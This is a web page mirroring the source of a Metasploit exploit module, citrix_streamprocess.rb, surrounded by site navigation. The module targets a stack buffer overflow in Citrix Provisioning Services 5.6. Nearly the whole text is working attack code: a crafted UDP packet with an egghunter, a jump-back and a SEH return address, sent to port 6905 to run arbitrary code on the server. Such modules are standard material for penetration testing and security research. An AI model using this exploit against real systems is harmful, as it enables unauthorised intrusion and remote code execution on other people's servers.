CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/citrix_streamprocess.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Egghunter
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.
17
By sending a specially crafted packet to the Provisioning Services server, a fixed
18
length buffer on the stack can be overflowed and arbitrary code can be executed.
19
},
20
'Author' => 'mog',
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'OSVDB', '70597'],
25
[ 'ZDI', '11-023' ],
26
[ 'URL', 'http://web.archive.org/web/20110123164820/http://secunia.com:80/advisories/42954/' ],
27
[ 'URL', 'http://support.citrix.com/article/CTX127149' ],
28
],
29
'DefaultOptions' =>
30
{
31
# best at delaying/preventing target crashing post-exploit
32
'EXITFUNC' => 'process',
33
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
34
},
35
'Payload' =>
36
{
37
'BadChars' => "\x00", # Only "\x00\x00" breaks the overflow, but this is safer
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
# pop/pop/ret in streamprocess.exe
43
# Service runs and automatically shuts down in Win 7
44
[ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ],
45
],
46
'Privileged' => true,
47
'DefaultTarget' => 0,
48
'DisclosureDate' => '2011-01-20'))
49
50
register_options([Opt::RPORT(6905)])
51
end
52
53
def exploit
54
55
eggoptions =
56
{
57
:checksum => true,
58
:eggtag => 'W00t',
59
}
60
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
61
62
sploit = "\x10\x00\x02\x40" # message type
63
sploit << rand_text_alpha_upper(30)
64
sploit << "\x00\x01\x00\x00" # length field
65
sploit << rand_text_alpha_upper(400)
66
sploit << hunter
67
sploit << rand_text_alpha_upper(64 - hunter.length)
68
69
sploit << "\xEB\xBE" # Jump back 66 bytes to hunter because there's
70
sploit << rand_text_alpha_upper(2) # only 24 bytes of cyclic copy after ret
71
sploit << [target.ret].pack('V') # SE handler
72
73
sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack
74
sploit << egg # Payload has a whole page to itself
75
76
print_status("Trying target #{target.name}...")
77
78
connect_udp
79
udp_sock.put(sploit)
80
print_status("Exploit sent, wait for egghunter.")
81
select(nil, nil, nil, 4) # takes about 8 seconds in tests
82
83
handler(udp_sock)
84
disconnect_udp
85
end
86
end
87
88